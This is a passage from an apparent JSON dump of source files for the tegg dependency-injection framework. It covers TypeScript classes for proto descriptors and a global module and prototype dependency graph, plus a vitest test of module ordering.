    "content": "import {\n  AccessLevel,\n  type InjectObjectDescriptor,\n  type ObjectInitTypeLike,\n  type ProtoDescriptor,\n  type ProtoDescriptorTypeLike,\n  type QualifierInfo,\n} from '@eggjs/tegg-types';\n\nexport interface AbstractProtoDescriptorOptions {\n  name: PropertyKey;\n  accessLevel: AccessLevel;\n  initType: ObjectInitTypeLike;\n  qualifiers: QualifierInfo[];\n  protoImplType: string;\n  injectObjects: InjectObjectDescriptor[];\n  defineModuleName: string;\n  defineUnitPath: string;\n  instanceModuleName: string;\n  instanceDefineUnitPath: string;\n  type: ProtoDescriptorTypeLike;\n  properQualifiers: Record<PropertyKey, QualifierInfo[]>;\n}\n\nexport abstract class AbstractProtoDescriptor implements ProtoDescriptor {\n  name: PropertyKey;\n  accessLevel: AccessLevel;\n  initType: ObjectInitTypeLike;\n  qualifiers: QualifierInfo[];\n  injectObjects: InjectObjectDescriptor[];\n  protoImplType: string;\n  defineModuleName: string;\n  defineUnitPath: string;\n  instanceModuleName: string;\n  instanceDefineUnitPath: string;\n  className?: string;\n  properQualifiers: Record<PropertyKey, QualifierInfo[]>;\n  type: ProtoDescriptorTypeLike;\n\n  protected constructor(options: AbstractProtoDescriptorOptions) {\n    this.name = options.name;\n    this.accessLevel = options.accessLevel;\n    this.initType = options.initType;\n    this.qualifiers = options.qualifiers;\n    this.protoImplType = options.protoImplType;\n    this.injectObjects = options.injectObjects;\n    this.defineModuleName = options.defineModuleName;\n    this.defineUnitPath = options.defineUnitPath;\n    this.instanceModuleName = options.instanceModuleName;\n    this.instanceDefineUnitPath = options.instanceDefineUnitPath;\n    this.type = options.type;\n    this.properQualifiers = options.properQualifiers;\n  }\n\n  abstract equal(protoDescriptor: ProtoDescriptor): boolean;\n}\n"
  },
  {
    "path": "tegg/core/metadata/src/model/ProtoDescriptor/ClassProtoDescriptor.ts",
    "content": "import { QualifierUtil } from '@eggjs/core-decorator';\nimport { NameUtil } from '@eggjs/tegg-common-util';\nimport { type EggProtoImplClass, type ProtoDescriptor, ProtoDescriptorType } from '@eggjs/tegg-types';\n\nimport { AbstractProtoDescriptor, type AbstractProtoDescriptorOptions } from './AbstractProtoDescriptor.ts';\n\nexport interface ClassProtoDescriptorOptions extends Omit<AbstractProtoDescriptorOptions, 'type'> {\n  clazz: EggProtoImplClass;\n}\n\nexport class ClassProtoDescriptor extends AbstractProtoDescriptor {\n  clazz: EggProtoImplClass;\n  clazzName: string;\n\n  static isClassProtoDescriptor(descriptor: ProtoDescriptor): descriptor is ClassProtoDescriptor {\n    return (descriptor as AbstractProtoDescriptor).type === ProtoDescriptorType.CLASS;\n  }\n\n  constructor(options: ClassProtoDescriptorOptions) {\n    super({\n      type: ProtoDescriptorType.CLASS,\n      ...options,\n    });\n    this.clazz = options.clazz;\n    this.className = NameUtil.cleanName(this.clazz.name);\n  }\n\n  equal(protoDescriptor: ProtoDescriptor): boolean {\n    if (!ClassProtoDescriptor.isClassProtoDescriptor(protoDescriptor)) {\n      return false;\n    }\n    return (\n      this.clazz === protoDescriptor.clazz &&\n      this.name === protoDescriptor.name &&\n      this.accessLevel === protoDescriptor.accessLevel &&\n      this.initType === protoDescriptor.initType &&\n      this.instanceModuleName === protoDescriptor.instanceModuleName &&\n      QualifierUtil.equalQualifiers(this.qualifiers, protoDescriptor.qualifiers)\n    );\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/src/model/ProtoDescriptor/index.ts",
    "content": "export * from './AbstractProtoDescriptor.ts';\nexport * from './ClassProtoDescriptor.ts';\n"
  },
  {
    "path": "tegg/core/metadata/src/model/ProtoDescriptorHelper.ts",
    "content": "import assert from 'node:assert';\n\nimport { type EggMultiInstancePrototypeInfo, PrototypeUtil, QualifierUtil } from '@eggjs/core-decorator';\nimport {\n  type EggProtoImplClass,\n  InitTypeQualifierAttribute,\n  type InjectObjectDescriptor,\n  LoadUnitNameQualifierAttribute,\n  type ObjectInitTypeLike,\n  type ProtoDescriptor,\n  type QualifierInfo,\n  AccessLevel,\n  type MultiInstancePrototypeGetObjectsContext,\n  MultiInstanceType,\n} from '@eggjs/tegg-types';\n\nimport { type ProtoSelectorContext } from './graph/index.ts';\nimport { ClassProtoDescriptor } from './ProtoDescriptor/index.ts';\n\nexport class ProtoDescriptorHelper {\n  static addDefaultQualifier(\n    qualifiers: QualifierInfo[],\n    initType: ObjectInitTypeLike,\n    loadUnitName: string,\n  ): QualifierInfo[] {\n    const defaultQualifiers = [\n      {\n        attribute: InitTypeQualifierAttribute,\n        value: initType,\n      },\n      {\n        attribute: LoadUnitNameQualifierAttribute,\n        value: loadUnitName,\n      },\n    ];\n    const res = [...qualifiers];\n    for (const defaultQualifier of defaultQualifiers) {\n      if (!qualifiers.find((t) => t.attribute === defaultQualifier.attribute)) {\n        res.push(defaultQualifier);\n      }\n    }\n    return res;\n  }\n\n  static async createByMultiInstanceClazz(\n    clazz: EggProtoImplClass,\n    options: {\n      defineModuleName: string;\n      defineUnitPath: string;\n      instanceModuleName: string;\n      instanceDefineUnitPath: string;\n    },\n  ): Promise<ProtoDescriptor[]> {\n    assert(PrototypeUtil.isEggMultiInstancePrototype(clazz), `clazz ${clazz.name} is not MultiInstancePrototype`);\n    const type = PrototypeUtil.getEggMultiInstancePrototypeType(clazz);\n    if (type === MultiInstanceType.DYNAMIC) {\n      return await ProtoDescriptorHelper.createByDynamicMultiInstanceClazz(clazz, options);\n    } else if (type === MultiInstanceType.STATIC) {\n      // static multi instance proto create only in self module\n      if (options.defineModuleName === options.instanceModuleName) {\n        return ProtoDescriptorHelper.createByStaticMultiInstanceClazz(clazz, options);\n      }\n    }\n    return [];\n  }\n\n  static async createByDynamicMultiInstanceClazz(\n    clazz: EggProtoImplClass,\n    options: {\n      defineModuleName: string;\n      defineUnitPath: string;\n      instanceModuleName: string;\n      instanceDefineUnitPath: string;\n    },\n  ): Promise<ProtoDescriptor[]> {\n    assert(PrototypeUtil.isEggMultiInstancePrototype(clazz), `clazz ${clazz.name} is not MultiInstancePrototype`);\n\n    const instanceProperty = await PrototypeUtil.getDynamicMultiInstanceProperty(clazz, {\n      moduleName: options.instanceModuleName,\n      unitPath: options.instanceDefineUnitPath,\n    });\n    assert(instanceProperty, `not found PrototypeInfo for clazz ${clazz.name}`);\n    return ProtoDescriptorHelper.#createByMultiInstanceClazz(clazz, instanceProperty, options);\n  }\n\n  static createByStaticMultiInstanceClazz(\n    clazz: EggProtoImplClass,\n    options: {\n      defineModuleName: string;\n      defineUnitPath: string;\n      instanceModuleName: string;\n      instanceDefineUnitPath: string;\n    },\n  ): ProtoDescriptor[] {\n    assert(PrototypeUtil.isEggMultiInstancePrototype(clazz), `clazz ${clazz.name} is not MultiInstancePrototype`);\n\n    const instanceProperty = PrototypeUtil.getStaticMultiInstanceProperty(clazz);\n    assert(instanceProperty, `not found PrototypeInfo for clazz ${clazz.name}`);\n\n    return ProtoDescriptorHelper.#createByMultiInstanceClazz(clazz, instanceProperty, options);\n  }\n\n  static #createByMultiInstanceClazz(\n    clazz: EggProtoImplClass,\n    instanceProperty: EggMultiInstancePrototypeInfo,\n    options: {\n      defineModuleName: string;\n      defineUnitPath: string;\n      instanceModuleName: string;\n      instanceDefineUnitPath: string;\n    },\n  ): ProtoDescriptor[] {\n    const res: ProtoDescriptor[] = [];\n\n    for (const obj of instanceProperty.objects) {\n      let qualifiers = QualifierUtil.mergeQualifiers(QualifierUtil.getProtoQualifiers(clazz), obj.qualifiers);\n      qualifiers = ProtoDescriptorHelper.addDefaultQualifier(\n        qualifiers,\n        instanceProperty.initType,\n        options.instanceModuleName,\n      );\n      const injectObjects: InjectObjectDescriptor[] = PrototypeUtil.getInjectObjects(clazz).map((t) => {\n        const qualifiers = QualifierUtil.getProperQualifiers(clazz, t.refName);\n        const instanceQualifier = obj.properQualifiers?.[t.refName] ?? [];\n        return {\n          ...t,\n          qualifiers: QualifierUtil.mergeQualifiers(qualifiers, instanceQualifier),\n        };\n      });\n      res.push(\n        new ClassProtoDescriptor({\n          name: obj.name,\n          accessLevel: instanceProperty.accessLevel,\n          initType: instanceProperty.initType,\n          protoImplType: instanceProperty.protoImplType,\n          qualifiers,\n          injectObjects,\n          instanceModuleName: options.instanceModuleName,\n          instanceDefineUnitPath: options.instanceDefineUnitPath,\n          defineModuleName: options.defineModuleName,\n          defineUnitPath: options.defineUnitPath,\n          clazz,\n          properQualifiers: obj.properQualifiers || {},\n        }),\n      );\n    }\n    return res;\n  }\n\n  static createByInstanceClazz(\n    clazz: EggProtoImplClass,\n    ctx: MultiInstancePrototypeGetObjectsContext,\n  ): ProtoDescriptor {\n    assert(PrototypeUtil.isEggPrototype(clazz), `clazz ${clazz.name} is not EggPrototype`);\n    assert(!PrototypeUtil.isEggMultiInstancePrototype(clazz), `clazz ${clazz.name} is not Prototype`);\n\n    const property = PrototypeUtil.getProperty(clazz);\n    assert(property, `not found PrototypeInfo for clazz ${clazz.name}`);\n\n    const protoQualifiers = ProtoDescriptorHelper.addDefaultQualifier(\n      QualifierUtil.getProtoQualifiers(clazz),\n      property.initType,\n      ctx.moduleName,\n    );\n    const injectObjects = PrototypeUtil.getInjectObjects(clazz).map((t) => {\n      const qualifiers = QualifierUtil.getProperQualifiers(clazz, t.refName);\n      return {\n        ...t,\n        qualifiers,\n      };\n    });\n    return new ClassProtoDescriptor({\n      name: property.name,\n      protoImplType: property.protoImplType,\n      accessLevel: property.accessLevel,\n      initType: property.initType,\n      qualifiers: protoQualifiers,\n      injectObjects,\n      instanceDefineUnitPath: ctx.unitPath,\n      instanceModuleName: ctx.moduleName,\n      defineUnitPath: ctx.unitPath,\n      defineModuleName: ctx.moduleName,\n      clazz,\n      properQualifiers: {},\n    });\n  }\n\n  static selectProto(proto: ProtoDescriptor, ctx: ProtoSelectorContext): boolean {\n    // 1. name match\n    if (proto.name !== ctx.name) {\n      return false;\n    }\n    // 2. access level match\n    if (proto.accessLevel !== AccessLevel.PUBLIC && proto.instanceModuleName !== ctx.moduleName) {\n      return false;\n    }\n    // 3. qualifier match\n    if (!QualifierUtil.matchQualifiers(proto.qualifiers, ctx.qualifiers)) {\n      return false;\n    }\n    return true;\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/src/model/graph/GlobalGraph.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { QualifierUtil } from '@eggjs/core-decorator';\nimport { FrameworkErrorFormatter } from '@eggjs/errors';\nimport { Graph, GraphNode, type ModuleReference } from '@eggjs/tegg-common-util';\nimport {\n  InitTypeQualifierAttribute,\n  type InjectObjectDescriptor,\n  LoadUnitNameQualifierAttribute,\n  ObjectInitType,\n  type ProtoDescriptor,\n  type QualifierInfo,\n} from '@eggjs/tegg-types';\n\nimport { EggPrototypeNotFound, MultiPrototypeFound } from '../../errors.ts';\nimport type { ModuleDescriptor } from '../ModuleDescriptor.ts';\nimport { ModuleDependencyMeta, GlobalModuleNode } from './GlobalModuleNode.ts';\nimport { GlobalModuleNodeBuilder } from './GlobalModuleNodeBuilder.ts';\nimport { ProtoDependencyMeta, ProtoNode } from './ProtoNode.ts';\n\nconst debug = debuglog('tegg/core/metadata/model/graph/GlobalGraph');\n\nexport interface GlobalGraphOptions {\n  // TODO next major version refactor to force strict\n  // all proto should be load before build global graph\n  strict?: boolean;\n}\n\nexport type GlobalGraphBuildHook = (globalGraph: GlobalGraph) => void;\n\n/**\n * Sort all prototypes and modules in app.\n * - 1. LoaderFactory.loadApp: get ModuleDescriptors\n * - 2. GlobalGraph.create: create global graph instance\n * - 3. graph.build:\n *   - check duplicated prototypes exits\n *   - check inject object exists (only in strict mode,\n *   can register proto in hooks now, in next major version,\n *   should use load to create dynamic ProtoDescriptor and delete\n *   strict false options\n *   )\n * - 4. graph.sort: build moduleConfigList and moduleProtoDescriptorMap\n */\nexport class GlobalGraph {\n  /**\n   * Vertex: ModuleNode, collect prototypes in module\n   * Edge: ModuleDependencyMeta, prototype and it's inject object\n   * @private\n   */\n  moduleGraph: Graph<GlobalModuleNode, ModuleDependencyMeta>;\n  /**\n   * Vertex: ProtoNode, collect all prototypes in app\n   * Edge: ProtoDependencyMeta, inject object\n   * @private\n   */\n  protoGraph: Graph<ProtoNode, ProtoDependencyMeta>;\n  /**\n   * The order of the moduleConfigList is the order in which they are instantiated\n   */\n  moduleConfigList: readonly ModuleReference[];\n  /**\n   * key: module name\n   * value: ProtoDescriptor in module, the order is the order in which they are instantiated\n   */\n  moduleProtoDescriptorMap: Map<string, ProtoDescriptor[]>;\n  strict: boolean;\n  private buildHooks: GlobalGraphBuildHook[];\n\n  /**\n   * The global instance used in ModuleLoadUnit\n   */\n  static instance?: GlobalGraph;\n\n  constructor(options?: GlobalGraphOptions) {\n    this.moduleGraph = new Graph<GlobalModuleNode, ModuleDependencyMeta>();\n    this.protoGraph = new Graph<ProtoNode, ProtoDependencyMeta>();\n    this.strict = options?.strict ?? false;\n    this.moduleProtoDescriptorMap = new Map();\n    this.buildHooks = [];\n  }\n\n  registerBuildHook(hook: GlobalGraphBuildHook): void {\n    this.buildHooks.push(hook);\n  }\n\n  addModuleNode(moduleNode: GlobalModuleNode): void {\n    if (!this.moduleGraph.addVertex(new GraphNode<GlobalModuleNode, ModuleDependencyMeta>(moduleNode))) {\n      throw new Error(`duplicate module: ${moduleNode}`);\n    }\n    for (const protoNode of moduleNode.protos) {\n      if (!this.protoGraph.addVertex(protoNode)) {\n        throw new Error(`duplicate proto: ${protoNode.val}`);\n      }\n    }\n  }\n\n  build(): void {\n    for (const moduleNode of this.moduleGraph.nodes.values()) {\n      for (const protoNode of moduleNode.val.protos) {\n        for (const injectObj of protoNode.val.proto.injectObjects) {\n          this.buildInjectEdge(moduleNode, protoNode, injectObj);\n        }\n      }\n    }\n    for (const buildHook of this.buildHooks) {\n      buildHook(this);\n    }\n  }\n\n  buildInjectEdge(\n    moduleNode: GraphNode<GlobalModuleNode, ModuleDependencyMeta>,\n    protoNode: GraphNode<ProtoNode, ProtoDependencyMeta>,\n    injectObj: InjectObjectDescriptor,\n  ): void {\n    const injectProto = this.findDependencyProtoNode(protoNode.val.proto, injectObj);\n    if (!injectProto) {\n      if (!this.strict) {\n        return;\n      }\n      throw FrameworkErrorFormatter.formatError(\n        new EggPrototypeNotFound(injectObj.objName, protoNode.val.proto.instanceModuleName),\n      );\n    }\n    this.addInject(moduleNode, protoNode, injectProto, injectObj.objName);\n  }\n\n  addInject(\n    moduleNode: GraphNode<GlobalModuleNode, ModuleDependencyMeta>,\n    protoNode: GraphNode<ProtoNode, ProtoDependencyMeta>,\n    injectNode: GraphNode<ProtoNode, ProtoDependencyMeta>,\n    injectName: PropertyKey,\n  ): void {\n    this.protoGraph.addEdge(\n      protoNode,\n      injectNode,\n      new ProtoDependencyMeta({\n        injectObj: injectName,\n      }),\n    );\n    const injectModule = this.findModuleNode(injectNode.val.proto.instanceModuleName);\n    if (!injectModule) {\n      if (!this.strict) {\n        return;\n      }\n      throw new Error(`not found module ${injectNode.val.proto.instanceModuleName}`);\n    }\n    if (moduleNode.val.id !== injectModule.val.id) {\n      this.moduleGraph.addEdge(moduleNode, injectModule, new ModuleDependencyMeta(protoNode.val.proto, injectName));\n    }\n  }\n\n  findInjectProto(proto: ProtoDescriptor, injectObject: InjectObjectDescriptor): ProtoDescriptor | undefined {\n    const edge = this.protoGraph.findToNode(\n      ProtoNode.createProtoId(proto),\n      new ProtoDependencyMeta({\n        injectObj: injectObject.objName,\n      }),\n    );\n    return edge?.val.proto;\n  }\n\n  #findDependencyProtoWithDefaultQualifiers(\n    proto: ProtoDescriptor,\n    injectObject: InjectObjectDescriptor,\n    qualifiers: QualifierInfo[],\n  ): GraphNode<ProtoNode, ProtoDependencyMeta>[] {\n    // TODO perf O(n(proto count)*m(inject count)*n)\n    const result: GraphNode<ProtoNode, ProtoDependencyMeta>[] = [];\n    for (const node of this.protoGraph.nodes.values()) {\n      if (\n        node.val.selectProto({\n          name: injectObject.objName,\n          qualifiers: QualifierUtil.mergeQualifiers(injectObject.qualifiers, qualifiers),\n          moduleName: proto.instanceModuleName,\n        })\n      ) {\n        result.push(node);\n      }\n    }\n    return result;\n  }\n\n  findDependencyProtoNode(\n    proto: ProtoDescriptor,\n    injectObject: InjectObjectDescriptor,\n  ): GraphNode<ProtoNode, ProtoDependencyMeta> | undefined {\n    // 1. find proto with request\n    // 2. try to add Context qualifier to find\n    // 3. try to add self init type qualifier to find\n    const protos = this.#findDependencyProtoWithDefaultQualifiers(proto, injectObject, []);\n    if (protos.length === 0) {\n      return;\n      // throw FrameworkErrorFormater.formatError(new EggPrototypeNotFound(injectObject.objName, proto.instanceModuleName));\n    }\n    if (protos.length === 1) {\n      return protos[0];\n    }\n\n    const protoWithContext = this.#findDependencyProtoWithDefaultQualifiers(proto, injectObject, [\n      {\n        attribute: InitTypeQualifierAttribute,\n        value: ObjectInitType.CONTEXT,\n      },\n    ]);\n    if (protoWithContext.length === 1) {\n      return protoWithContext[0];\n    }\n\n    const protoWithSelfInitType = this.#findDependencyProtoWithDefaultQualifiers(proto, injectObject, [\n      {\n        attribute: InitTypeQualifierAttribute,\n        value: proto.initType,\n      },\n    ]);\n    if (protoWithSelfInitType.length === 1) {\n      return protoWithSelfInitType[0];\n    }\n    const loadUnitQualifier = injectObject.qualifiers.find((t) => t.attribute === LoadUnitNameQualifierAttribute);\n    if (!loadUnitQualifier) {\n      return this.findDependencyProtoNode(proto, {\n        ...injectObject,\n        qualifiers: QualifierUtil.mergeQualifiers(injectObject.qualifiers, [\n          {\n            attribute: LoadUnitNameQualifierAttribute,\n            value: proto.instanceModuleName,\n          },\n        ]),\n      });\n    }\n    throw FrameworkErrorFormatter.formatError(new MultiPrototypeFound(injectObject.objName, injectObject.qualifiers));\n  }\n\n  findModuleNode(moduleName: string): GraphNode<GlobalModuleNode, ModuleDependencyMeta> | undefined {\n    for (const node of this.moduleGraph.nodes.values()) {\n      if (node.val.name === moduleName) {\n        return node;\n      }\n    }\n  }\n\n  #sortModule() {\n    const loopPath = this.moduleGraph.loopPath();\n    if (loopPath) {\n      throw new Error('module has recursive deps: ' + loopPath);\n    }\n    debug('sortModule, loopPath: %o', loopPath);\n    this.moduleConfigList = this.moduleGraph\n      .sort()\n      .filter((t) => {\n        return t.val.optional !== true || t.fromNodeMap.size > 0;\n      })\n      .map((t) => {\n        return {\n          name: t.val.name,\n          path: t.val.unitPath,\n          optional: t.val.optional,\n        };\n      });\n  }\n\n  #sortClazz() {\n    const loopPath = this.protoGraph.loopPath();\n    if (loopPath) {\n      throw new Error('proto has recursive deps: ' + loopPath);\n    }\n    debug('sortClazz, loopPath: %o', loopPath);\n    for (const proto of this.protoGraph.sort()) {\n      // // ignore the proto has no dependent\n      // if (proto.fromNodeMap.size === 0) continue;\n      const instanceModuleName = proto.val.proto.instanceModuleName;\n      let moduleProtoList = this.moduleProtoDescriptorMap.get(instanceModuleName);\n      if (!moduleProtoList) {\n        moduleProtoList = [];\n        this.moduleProtoDescriptorMap.set(instanceModuleName, moduleProtoList);\n      }\n      moduleProtoList.push(proto.val.proto);\n    }\n  }\n\n  sort(): void {\n    this.#sortModule();\n    this.#sortClazz();\n  }\n\n  static async create(moduleDescriptors: ModuleDescriptor[], options?: GlobalGraphOptions): Promise<GlobalGraph> {\n    const graph = new GlobalGraph(options);\n    for (const moduleDescriptor of moduleDescriptors) {\n      const moduleNodeBuilder = new GlobalModuleNodeBuilder({\n        name: moduleDescriptor.name,\n        unitPath: moduleDescriptor.unitPath,\n        optional: moduleDescriptor.optional ?? false,\n      });\n      for (const clazz of moduleDescriptor.clazzList) {\n        moduleNodeBuilder.addClazz(clazz);\n      }\n      for (const clazz of moduleDescriptor.multiInstanceClazzList) {\n        await moduleNodeBuilder.addMultiInstanceClazz(clazz, moduleDescriptor.name, moduleDescriptor.unitPath);\n      }\n      graph.addModuleNode(moduleNodeBuilder.build());\n    }\n    return graph;\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/src/model/graph/GlobalModuleNode.ts",
    "content": "import { GraphNode, type GraphNodeObj, type EdgeMeta } from '@eggjs/tegg-common-util';\nimport { type ProtoDescriptor } from '@eggjs/tegg-types';\n\nimport { ProtoDependencyMeta, ProtoNode } from './ProtoNode.ts';\n\nexport interface GlobalModuleNodeOptions {\n  name: string;\n  unitPath: string;\n  optional: boolean;\n}\n\nexport class ModuleDependencyMeta implements EdgeMeta {\n  readonly obj: ProtoDescriptor;\n  readonly injectObj: PropertyKey;\n\n  constructor(obj: ProtoDescriptor, injectObj: PropertyKey) {\n    this.obj = obj;\n    this.injectObj = injectObj;\n  }\n\n  equal(meta: ModuleDependencyMeta): boolean {\n    return this.obj.equal(meta.obj) && this.injectObj === meta.injectObj;\n  }\n\n  toString(): string {\n    return `Object ${String(this.obj.name)} inject ${String(this.injectObj)}`;\n  }\n}\n\nexport class GlobalModuleNode implements GraphNodeObj {\n  readonly id: string;\n  readonly name: string;\n  readonly unitPath: string;\n  readonly optional: boolean;\n  readonly protos: GraphNode<ProtoNode, ProtoDependencyMeta>[];\n\n  constructor(options: GlobalModuleNodeOptions) {\n    this.id = options.unitPath;\n    this.name = options.name;\n    this.unitPath = options.unitPath;\n    this.optional = options.optional;\n    this.protos = [];\n  }\n\n  addProto(proto: ProtoDescriptor): void {\n    this.protos.push(new GraphNode(new ProtoNode(proto)));\n  }\n\n  toString() {\n    return `${this.name}@${this.unitPath}`;\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/src/model/graph/GlobalModuleNodeBuilder.ts",
    "content": "import { ModuleConfigUtil } from '@eggjs/tegg-common-util';\nimport { type EggProtoImplClass, type ProtoDescriptor } from '@eggjs/tegg-types';\n\nimport { ProtoDescriptorHelper } from '../ProtoDescriptorHelper.ts';\nimport { GlobalModuleNode, type GlobalModuleNodeOptions } from './GlobalModuleNode.ts';\n\nexport class GlobalModuleNodeBuilder {\n  private readonly name: string;\n  private readonly unitPath: string;\n  private readonly optional: boolean;\n  private readonly protos: ProtoDescriptor[];\n\n  constructor(options: GlobalModuleNodeOptions) {\n    this.name = options.name;\n    this.unitPath = options.unitPath;\n    this.optional = options.optional;\n    this.protos = [];\n  }\n\n  addClazz(clazz: EggProtoImplClass): this {\n    const proto = ProtoDescriptorHelper.createByInstanceClazz(clazz, {\n      moduleName: this.name,\n      unitPath: this.unitPath,\n    });\n    this.protos.push(proto);\n    return this;\n  }\n\n  async addMultiInstanceClazz(\n    clazz: EggProtoImplClass,\n    defineModuleName: string,\n    defineUnitPath: string,\n  ): Promise<this> {\n    const protos = await ProtoDescriptorHelper.createByMultiInstanceClazz(clazz, {\n      defineModuleName,\n      defineUnitPath,\n      instanceModuleName: this.name,\n      instanceDefineUnitPath: this.unitPath,\n    });\n    this.protos.push(...protos);\n    return this;\n  }\n\n  build(): GlobalModuleNode {\n    const node = new GlobalModuleNode({\n      name: this.name,\n      unitPath: this.unitPath,\n      optional: this.optional,\n    });\n    for (const proto of this.protos) {\n      node.addProto(proto);\n    }\n    return node;\n  }\n\n  static create(unitPath: string, optional = false): GlobalModuleNodeBuilder {\n    const name = ModuleConfigUtil.readModuleNameSync(unitPath);\n    return new GlobalModuleNodeBuilder({\n      name,\n      unitPath,\n      optional,\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/src/model/graph/ProtoNode.ts",
    "content": "import { type EdgeMeta } from '@eggjs/tegg-common-util';\nimport { type GraphNodeObj, type ProtoDescriptor } from '@eggjs/tegg-types';\n\nimport { ProtoDescriptorHelper } from '../ProtoDescriptorHelper.ts';\nimport { type ProtoSelectorContext } from './ProtoSelector.ts';\n\nexport class ProtoDependencyMeta implements EdgeMeta {\n  injectObj: PropertyKey;\n\n  constructor({ injectObj }: { injectObj: PropertyKey }) {\n    this.injectObj = injectObj;\n  }\n\n  equal(meta: ProtoDependencyMeta): boolean {\n    return this.injectObj === meta.injectObj;\n  }\n\n  toString(): string {\n    return `inject ${String(this.injectObj)}`;\n  }\n}\n\nexport class ProtoNode implements GraphNodeObj {\n  readonly id: string;\n  readonly proto: ProtoDescriptor;\n\n  constructor(proto: ProtoDescriptor) {\n    this.id = ProtoNode.createProtoId(proto);\n    this.proto = proto;\n  }\n\n  toString() {\n    return `${String(this.proto.name)}@${this.proto.instanceDefineUnitPath}`;\n  }\n\n  selectProto(ctx: ProtoSelectorContext): boolean {\n    return ProtoDescriptorHelper.selectProto(this.proto, ctx);\n  }\n\n  static createProtoId(proto: ProtoDescriptor): string {\n    const id = [\n      proto.name,\n      proto.instanceModuleName,\n      proto.initType,\n      ...proto.qualifiers.map((t) => String(t.attribute) + String(t.value)),\n    ];\n    return id.join('@');\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/src/model/graph/ProtoSelector.ts",
    "content": "import { type QualifierInfo } from '@eggjs/tegg-types';\n\nexport interface ProtoSelectorContext {\n  name: PropertyKey;\n  qualifiers: QualifierInfo[];\n  moduleName: string;\n}\n"
  },
  {
    "path": "tegg/core/metadata/src/model/graph/index.ts",
    "content": "export * from './GlobalGraph.ts';\nexport * from './GlobalModuleNode.ts';\nexport * from './GlobalModuleNodeBuilder.ts';\nexport * from './ProtoNode.ts';\nexport * from './ProtoSelector.ts';\n"
  },
  {
    "path": "tegg/core/metadata/src/model/index.ts",
    "content": "export * from './graph/index.ts';\nexport * from './ProtoDescriptor/index.ts';\nexport * from './AppGraph.ts';\nexport * from './EggPrototype.ts';\nexport * from './LoadUnit.ts';\nexport * from './ModuleDescriptor.ts';\nexport * from './ProtoDescriptorHelper.ts';\n"
  },
  {
    "path": "tegg/core/metadata/src/util/ClassUtil.ts",
    "content": "import { PrototypeUtil } from '@eggjs/core-decorator';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nexport class ClassUtil {\n  static classDescription(clazz: EggProtoImplClass): string {\n    const filePath = PrototypeUtil.getFilePath(clazz);\n    const name = this.className(clazz);\n    let desc = `class:${String(name)}`;\n    if (filePath) {\n      desc += `@${filePath}`;\n    }\n    return desc;\n  }\n\n  static className(clazz: EggProtoImplClass): string {\n    const property = PrototypeUtil.getProperty(clazz);\n    return (property?.name || clazz.name) as string;\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/src/util/index.ts",
    "content": "export * from './ClassUtil.ts';\n"
  },
  {
    "path": "tegg/core/metadata/test/AppGraph.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport path from 'node:path';\n\nimport { describe, it } from 'vitest';\n\nimport { AppGraph, ModuleNode } from '../src/index.js';\nimport { RootProto } from './fixtures/modules/app-graph-modules/root/Root.js';\nimport { UnusedProto } from './fixtures/modules/app-graph-modules/unused/Unused.js';\nimport { UsedProto } from './fixtures/modules/app-graph-modules/used/Used.js';\nimport { App } from './fixtures/modules/app-multi-inject-multi/app/modules/app/App.js';\nimport { App2 } from './fixtures/modules/app-multi-inject-multi/app/modules/app2/App.js';\nimport { BizManager } from './fixtures/modules/app-multi-inject-multi/app/modules/bar/BizManager.js';\nimport { Secret } from './fixtures/modules/app-multi-inject-multi/app/modules/foo/Secret.js';\n\ndescribe('test/LoadUnit/AppGraph.test.ts', () => {\n  it('optional module dep should work', async () => {\n    const graph = new AppGraph();\n    const rootModuleNode = new ModuleNode({\n      name: 'foo',\n      path: path.join(__dirname, './fixtures/modules/app-graph-modules/root'),\n    });\n    await rootModuleNode.addClazz(RootProto);\n    graph.addNode(rootModuleNode);\n    const usedOptionalModuleNode = new ModuleNode({\n      name: 'usedOptionalModuleNode',\n      path: path.join(__dirname, './fixtures/modules/app-graph-modules/used'),\n      optional: true,\n    });\n    await usedOptionalModuleNode.addClazz(UsedProto);\n    graph.addNode(usedOptionalModuleNode);\n    const unusedOptionalModuleNode = new ModuleNode({\n      name: 'unusedOptionalModuleNode',\n      path: path.join(__dirname, './fixtures/modules/app-graph-modules/unused'),\n      optional: true,\n    });\n    await unusedOptionalModuleNode.addClazz(UnusedProto);\n    graph.addNode(unusedOptionalModuleNode);\n    await graph.build();\n    graph.sort();\n    assert(graph.moduleConfigList.length === 2);\n  });\n\n  it('multi instance inject multi instance should work', async () => {\n    const graph = new AppGraph();\n    const appModuleNode = new ModuleNode({\n      name: 'app',\n      path: path.join(__dirname, './fixtures/modules/app-multi-inject-multi/app/modules/app'),\n    });\n    await appModuleNode.addClazz(App);\n    graph.addNode(appModuleNode);\n\n    const app2ModuleNode = new ModuleNode({\n      name: 'app2',\n      path: path.join(__dirname, './fixtures/modules/app-multi-inject-multi/app/modules/app2'),\n    });\n    await app2ModuleNode.addClazz(App2);\n    graph.addNode(app2ModuleNode);\n\n    const barOptionalModuleNode = new ModuleNode({\n      name: 'bar',\n      path: path.join(__dirname, './fixtures/modules/app-multi-inject-multi/app/modules/bar'),\n    });\n    await barOptionalModuleNode.addClazz(BizManager);\n    graph.addNode(barOptionalModuleNode);\n    const fooOptionalModuleNode = new ModuleNode({\n      name: 'foo',\n      path: path.join(__dirname, './fixtures/modules/app-multi-inject-multi/app/modules/foo'),\n    });\n    await fooOptionalModuleNode.addClazz(Secret);\n    graph.addNode(fooOptionalModuleNode);\n    await graph.build();\n    graph.sort();\n    assert.deepStrictEqual(\n      graph.moduleConfigList.map((t) => t.name),\n      ['app', 'app2', 'bar', 'foo'],\n    );\n  });\n});\n"
  },
  {
    "path": "tegg/core/metadata/test/GlobalGraph.test.ts",
